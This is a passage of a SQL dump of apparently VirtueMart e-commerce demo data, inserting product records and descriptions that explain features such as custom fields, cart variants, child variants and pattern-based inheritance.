NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (5, 1, 0, '', 0.1000, 'KG', 0.2000, 0.0100, 0.0300, 'M', '', 10, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (6, 1, 0, '', 0.1000, 'KG', 0.2000, 0.0100, 0.3000, 'M', '', 50, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (7, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 80, 0, 10, '0000-00-00 00:00:00', '', 0, 0, 'KG', 0.1000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (8, 1, 7, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (9, 1, 7, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (10, 1, 7, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (11, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 150, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (12, 1, 11, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (13, 1, 11, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (14, 1, 11, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (15, 1, 0, '', 0.1000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 100, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (16, 1, 15, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (17, 1, 15, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (18, 1, 15, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (19, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 100, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (20, 1, 19, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (21, 1, 19, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (22, 1, 19, '', 4.0000, 'KG', 1.0000, 2.0000, 3.0000, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="10"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (23, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 80, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (24, 1, 23, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (25, 1, 23, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (26, 1, 23, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="10"|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (27, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (28, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (29, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (30, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (31, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (32, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (33, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (34, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (35, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (36, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (37, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (38, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (39, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (40, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (41, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (42, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (43, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (44, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (45, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (46, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (47, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (48, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (49, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (50, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (51, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (52, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (53, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (54, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (55, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (56, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (57, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (58, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (59, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (60, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (61, 1, 60, '', 125.0000, 'G', 20.0000, 20.0000, 10.0000, 'CM', '', 35, 2, 5, '0000-00-00 00:00:00', '', 0, 0, '100G', 0.5000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (62, 1, 60, '', 150.0000, 'G', 35.0000, 30.0000, 15.0000, 'CM', '', 15, 1, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (63, 1, 60, '', 200.0000, 'G', 25.0000, 25.0000, 25.0000, 'CM', '', 122, 2, 10, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (64, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (65, 1, 64, '', 0.1000, 'KG', 25.0000, 20.0000, 2.0000, 'CM', '', 77, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', 1.0000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (66, 1, 64, '', 0.0750, 'KG', 0.2000, 0.2000, 0.1500, 'M', '', 152, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (67, 1, 64, '', 150.0000, 'G', 25.0000, 25.0000, 15.0000, 'CM', '', 50, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (68, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (69, 1, 68, '', 350.0000, 'G', NULL, NULL, NULL, 'M', '', 45, 0, 2, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (70, 1, 68, '', 300.0000, 'G', NULL, NULL, NULL, 'M', '', 12, 0, 1, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (71, 1, 68, '', 550.0000, 'G', NULL, NULL, NULL, 'M', '', 15, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (72, 1, 68, '', 200.0000, 'G', NULL, NULL, NULL, 'M', '', 45, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 4, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (73, 1, 68, '', 250.0000, 'G', NULL, NULL, NULL, 'M', '', 54, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 5, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635); INSERT IGNORE INTO `#__virtuemart_products_XLANG` (`virtuemart_product_id`, `product_s_desc`, `product_desc`, `product_name`, `metadesc`, `metakey`, `customtitle`, `slug`) VALUES (1, 'This is a default product.', '

Default product with standart settings no customfields. You can set:

\r\n

Tab Product Information
- General: Published, On Featured, Product SKU, Product Name, Produkt alias, URL,
- Assignation:Manufacturer, Product Categories, Shopper Groups, Type of Product detail page
- Product pricing: Cost price, Base price, Final price, Override, and priceranges dependant on Shopper group.
- You can add Child products here also.

\r\n

Tab Product Description
- Description, Short descriptionm Meta information

\r\n

Tab Product Status
- Stock amount, Low Stock notification, Minimum and maximum purchase quantity, Availability Date + image
- Booked, ordered products amount, Quantity Steps
- Also it is possible to send email to shopper who bought this product.

\r\n

Tab Dimension and Weight
- Lenght, Width, Height, Weight, Packing, and Units in Box

\r\n

Tab Product images
- Use already uploaded images
- Set image information
- Upload new image
- manage thumbnail

\r\n

Tab Custom Fields
- Set related Categories & Products
- Select customfields

\r\n

 

\r\n

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

', 'Default product', '', '', '', 'default-product'), (2, 'It\'s a free Product!', '

This product shows how a free product is set up. At least let price empty. The shopper can purchase without beeing charged. In settings you decide if an invoice will be created for free products. In all cases the shopper needs to checkout.

\r\n

It can be used e.g. if you want to offer catalogue or merchandise products.

', 'Free product', '', '', '', 'free-product'), (3, 'Default product with customfield string.', '

This is a default product with standart settings and a customfield type string. You can set:
- Title (text)
- Show title (select)
- Published (select)
- Select parent customfield (for building a pattern of multiple customfields at once) (select)
- Cart Attribut (select)
- Description (text)
- Default (text)
- Tooltip (text)
- Layout position
- Admin only (select)
- Is a list (select)
- Hidden (select)

', 'Product w/customfield string', '', '', '', 'product-w-customfield-string'), (4, 'This is a default product with customfield textarea.', '

Default product with one customfield textarea you see this customfield content below.

\r\n

You can use customfield textarea to add further informating apart from product description.

\r\n

 

', 'Product w/customfield textarea', '', '', '', 'product-w-customfield-textarea'), (5, 'This is a default product with standart settings and a customfield type parent.', '

You can set use customfield type parent to bind multiple child customfields into a parental bundle.

For example for books, you may wish to always give the following description:

\r\n

Reading level: Ages 9-12
Hardcover: 224 pages
Publisher: Amulet Books (November 15, 2011)
Language: English
ISBN-10: 1419702238
ISBN-13: 978-1419702235

\r\n

Therefore bind multiple customfields e.g. string into a parent customfield to use it as a pattern.

', 'Product w/customfield parent', '', '', '', 'product-w-customfield-parent'), (6, 'Default product with cart variants modifies price.', '

Custom Field with Cart Attribute allows you to add some options to a product that can modify the product price. For example, you may wish to sell a book, or the downladable version of it. And the price is different in both case.

In this case you can select different variants. Default, Variant A,B, or C. The price will be modified by selection. In VM configuration you can also select either tax should be applied to cart variant in customfield.

', 'Product w/cart variant', '', '', '', 'product-w-cart-variant'), (7, 'Product with child variant; parent ordable', '

This product will explain the usage of customfield generic (dynamic) child variant. The base product is ordable in this case.

\r\n

Consider you sell products in different color settings: you want to change the color of the product by selecting a color variant.
Therefore dynamic child variants can be used to allow you different description, images, or product status for every variant of your base product.

Set up a new product, set price, add child products. Add created customfield generic child variant.
The child products are assigned to another unpublished category as the parent product for calculation or llike in this case to no category.
Tick the checkboxes Display parent as option.

', 'Product w/child variant', '', '', '', 'product-w-child-variant'), (8, '', '', 'child variant 1', '', '', '', 'child-variant-1'), (9, '', '', 'child variant 2', '', '', '', 'child-variant-2'), (10, '', '', 'child variant 3', '', '', '', 'child-variant-3'), (11, 'Product with child variant; parent not ordable', '

This product will explain the usage of customfield generic (dynamic) child variant. The base product is not ordable in this case.

\r\n

Consider you sell products in different color settings: you want to change the color of the product by selecting a color variant.
Therefore dynamic child variants can be used to allow you different description, images, or product status for every variant of your base product.

Set up a new product, set price, add child products. Add created customfield generic child variant.
The child products are assigned to another category as the parent product for caclulation or like in this case to no category.
Do not tick the checkbox Display parent as option in this case.

', 'Product w/child variant parent not ordable', '', '', '', 'product-w-child-variant-parent-not-ordable'), (12, '', '', 'Child variant 1 15€', '', '', '', 'child-variant-1-15'), (13, '', '', 'Child variant 1 20€', '', '', '', 'child-variant-1-20'), (14, '', '', 'Child variant 1 25€', '', '', '', 'child-variant-1-25'), (15, 'Default product with child variant and cart variant.', '

This product is a showcase to present the combination of product price, child variant price, and cart variant price.

', 'Product w/child variant w/cart variant', '', '', '', 'product-w-child-variant-w-cart-variant'), (16, '', '', 'child variant w/cart variant 1', '', '', '', 'child-variant-w-cart-variant-1'), (17, '', '', 'child variant w/cart variant 2', '', '', '', 'child-variant-w-cart-variant-2'), (18, '', '', 'child variant w/cart variant 3', '', '', '', 'child-variant-w-cart-variant-3'), (19, 'Showcase for pattern usage.', '

This product is used as a pattern for other products. It is a parent product and has multiple child products.
You can set several settings (content, customfields) for parent product. Childs of this parent will basically have the same settings as the parent automatically inherite until you overwrite.

\r\n

In this case product price is set in pattern.

', 'Basic PATTERN', '', '', '', 'basic-pattern'), (20, 'This is a basic child of Product PATTERN.', '

This is a basic child of Product PATTERN. You see inherited settings, only Product description is overwritten.

In case the child product should be available by browsing set the product category.

', 'Basic child', '', '', '', 'basic-pattern197'), (21, 'This is a basic child of Product PATTERN. You see inherited settings.', '

This is a basic child of Product PATTERN. You see inherited settings.
Overwritten are following setting/content:
- Product desc
- Product price

In case the child product should be available by browsing set the product category.

', 'Basic price overwrite', '', '', '', 'basic-price-overwrite'), (22, 'Multiple overwrites short desc.', '

This is a child of Product PATTERN. Most inherited settings are overwritten:
- Short desc
- Product desc
- Product price
- Product Images
- Product Dimension and Weight (Units in Box)

In case the child product should be available by browsing set the product category.

', 'Basic multiple overwrites', '', '', '', 'basic-multiple-overwrites'), (23, 'Showcase advanced pattern usage.', '

This product is used as a pattern for other products. It is a parent product and has multiple child products.
You can set several settings (content, customfields) for parent product. Childs of this parent will basically have the same settings as the parent automatically inherite until you overwrite.

\r\n

One of the hugest advantages is stock control ability.

\r\n

 

', 'Advanced PATTERN', '', '', '', 'advanced-pattern'), (24, '', '

This is a basic child of Product PATTERN. You see inherited settings, only Product description is overwritten.

In case the child product should be available by browsing set the product category.

', 'Advanced child', '', '', '', 'advanced-child'), (25, '', '

This is a advanced child of Advanced PATTERN. You see inherited settings.
Overwritten are following setting/content:
- Product desc
- Product price

In case the child product should be available by browsing set the product category.

', 'Advanced price overwrite', '', '', '', 'advanced-price-overwrite'), (26, 'Advanced multiple overrides', '

This is a child of Product PATTERN. Most inherited settings are overwritten:
- Short desc
- Product desc
- Product price
- Product Images
- Product Dimension and Weight (Units in Box)
- Customfields

In case the child product should be available by browsing set the product category.

